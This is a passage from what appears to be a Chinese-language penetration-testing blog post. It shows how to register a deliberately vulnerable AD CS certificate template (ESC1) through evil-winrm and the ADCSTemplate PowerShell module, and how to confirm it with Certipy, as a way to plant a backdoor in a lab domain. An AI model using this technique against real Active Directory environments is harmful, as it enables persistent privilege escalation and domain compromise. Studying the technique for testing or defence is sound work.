    "displayName":  "ESC1",
    "objectClass":  "pKICertificateTemplate",
    "flags":  131616,
    "revision":  100,
    "msPKI-Cert-Template-OID":  "1.3.6.1.4.1.311.21.8.16735922.7437492.10570883.2539024.15756463.185.9025784.11813639",
    "msPKI-Certificate-Application-Policy":  [
                                                 "1.3.6.1.5.5.7.3.2"
                                             ],
    "msPKI-Certificate-Name-Flag":  1,
    "msPKI-Enrollment-Flag":  0,
    "msPKI-Minimal-Key-Size":  2048,
    "msPKI-Private-Key-Flag":  16842752,
    "msPKI-RA-Signature":  0,
    "msPKI-Template-Minor-Revision":  4,
    "msPKI-Template-Schema-Version":  2,
    "pKICriticalExtensions":  [
                                  "2.5.29.15",
                                  "2.5.29.7"
                              ],
    "pKIDefaultCSPs":  [
                           "3,Microsoft Base DSS Cryptographic Provider",
                           "2,Microsoft Base Cryptographic Provider v1.0",
                           "1,Microsoft Enhanced Cryptographic Provider v1.0"
                       ],
    "pKIDefaultKeySpec":  2,
    "pKIExpirationPeriod":  [
                                0,
                                64,
                                57,
                                135,
                                46,
                                225,
                                254,
                                255
                            ],
    "pKIExtendedKeyUsage":  [
                                "1.3.6.1.5.5.7.3.2"
                            ],
    "pKIKeyUsage":  [
                        128,
                        0
                    ],
    "pKIMaxIssuingDepth":  0,
    "pKIOverlapPeriod":  [
                             0,
                             128,
                             166,
                             10,
                             255,
                             222,
                             255,
                             255
                         ]
}

之后将这个json以及脚本传递到目标上去,运行如下命令

evil-winrm-py PS C:\Users\testuser\Documents> import-module .\ADCSTemplate.psm1 #导入模块
evil-winrm-py PS C:\Users\testuser\Documents> New-ADCSTemplate -DisplayName ESC -JSON (Get-Content .\ESC1.json -Raw) -Publish -Identity "WACKADCS\PKI
Admins" #注册模板并且指定可请求组

运行完毕后可以看到也是成功注册

┌──(wackymaker㉿kali)-[~/tmp/synthetic/adcs-test]
└─$ certipy find -u $user -p $pass -target $FQDN -dc-ip $ip -text -stdout -vulnerable
Certipy v5.0.3 - by Oliver Lyak (ly4k)

[*] Finding certificate templates
[*] Found 35 certificate templates
[*] Finding certificate authorities
[*] Found 1 certificate authority
[*] Found 13 enabled certificate templates
[*] Finding issuance policies
[*] Found 16 issuance policies
[*] Found 0 OIDs linked to templates
[*] Retrieving CA configuration for 'wackadcs-DC-CA' via RRP
[!] Failed to connect to remote registry. Service should be starting now. Trying again...
[*] Successfully retrieved CA configuration for 'wackadcs-DC-CA'
[*] Checking web enrollment for CA 'wackadcs-DC-CA' @ 'dc.wackadcs.com'
[!] Error checking web enrollment: timed out
[!] Use -debug to print a stacktrace
[!] Error checking web enrollment: timed out
[!] Use -debug to print a stacktrace
[*] Enumeration output:
Certificate Authorities
  0
    CA Name                             : wackadcs-DC-CA
    DNS Name                            : dc.wackadcs.com
    Certificate Subject                 : CN=wackadcs-DC-CA, DC=wackadcs, DC=com
    Certificate Serial Number           : 19F9595699CD919E41F8D2620299CFA0
    Certificate Validity Start          : 2025-08-28 08:34:40+00:00
    Certificate Validity End            : 2030-08-28 08:44:40+00:00
    Web Enrollment
      HTTP
        Enabled                         : False
      HTTPS
        Enabled                         : False
    User Specified SAN                  : Disabled
    Request Disposition                 : Issue
    Enforce Encryption for Requests     : Enabled
    Active Policy                       : CertificateAuthority_MicrosoftDefault.Policy
    Permissions
      Owner                             : WACKADCS.COM\Administrators
      Access Rights
        ManageCa                        : WACKADCS.COM\Administrators
                                          WACKADCS.COM\Domain Admins
                                          WACKADCS.COM\Enterprise Admins
        ManageCertificates              : WACKADCS.COM\Administrators
                                          WACKADCS.COM\Domain Admins
                                          WACKADCS.COM\Enterprise Admins
        Enroll                          : WACKADCS.COM\Authenticated Users
Certificate Templates
  0
    Template Name                       : ESC
    Display Name                        : ESC
    Certificate Authorities             : wackadcs-DC-CA
    Enabled                             : True
    Client Authentication               : True
    Enrollment Agent                    : False
    Any Purpose                         : False
    Enrollee Supplies Subject           : True
    Certificate Name Flag               : EnrolleeSuppliesSubject
    Extended Key Usage                  : Client Authentication
    Requires Manager Approval           : False
    Requires Key Archival               : False
    Authorized Signatures Required      : 0
    Schema Version                      : 2
    Validity Period                     : 1 year
    Renewal Period                      : 6 weeks
    Minimum RSA Key Length              : 2048
    Template Created                    : 2025-08-29T11:30:30+00:00
    Template Last Modified              : 2025-08-29T11:30:30+00:00
    Permissions
      Enrollment Permissions
        Enrollment Rights               : WACKADCS.COM\PKIAdmins
      Object Control Permissions
        Owner                           : WACKADCS.COM\testuser
        Full Control Principals         : WACKADCS.COM\Domain Admins
                                          WACKADCS.COM\Local System
                                          WACKADCS.COM\Enterprise Admins
        Write Owner Principals          : WACKADCS.COM\Domain Admins
                                          WACKADCS.COM\Local System
                                          WACKADCS.COM\Enterprise Admins
        Write Dacl Principals           : WACKADCS.COM\Domain Admins
                                          WACKADCS.COM\Local System
                                          WACKADCS.COM\Enterprise Admins
    [+] User Enrollable Principals      : WACKADCS.COM\PKIAdmins
    [+] User ACL Principals             : WACKADCS.COM\testuser
    [!] Vulnerabilities
      ESC1                              : Enrollee supplies subject and template allows client authentication.
      ESC4                              : Template is owned by user.

利用这个脚本的好处是方便,且可以直接指定可请求证书组,在创建后门证书的时候好用,但他基于rsat域模块,且最近的更新也在7年前了,所以还是按需使用。

总结

以上就是本文的全部内容了,在本文完结并提交前,我确定网上并没有出现过如何利用注册恶意模板并利用的手法,尽管其其实并不算一个很难的角度,不过想要绕过桌面会话来创建一个模板确实需要对ca的底层交互了解很多,等过段时间有时间了我会再测试并书写一篇黄金证书的攻击手段